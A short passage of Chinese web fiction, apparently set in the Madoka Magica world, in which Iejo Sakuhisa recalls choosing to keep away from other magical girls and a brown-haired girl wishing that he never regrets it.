伊江朔久低声道，表现出一副避免与人打交道的样子。 褐发少女怔了怔，随即也理解了这样的选择。 保持理性，不与他人结交，将杀死魔女这种事只当作是必须要完成的任务——这也是魔法少女生存的一种方式。 魔法少女赖以生存的悲叹之种，本就是依靠着其他魔法少女的死亡而得来的。 所以，与其他人保持距离，至少能确保自己将来某一天能够狠得下心。 “也好，我不知道究竟怎样做才是正确的，或许你会活得比我更久吧。” “那就……”她语气有些迟疑，望着白发少女的眼睛，最后为对方送上真诚的祝愿：“希望你永远不会后悔自己的选择。” …… 思绪从这些回忆里逐渐抽离，伊江朔久却还在想着——自己会有后悔的那一天吗？ 直到如今，他也还是不能确定答案。【你现在阅读的是 】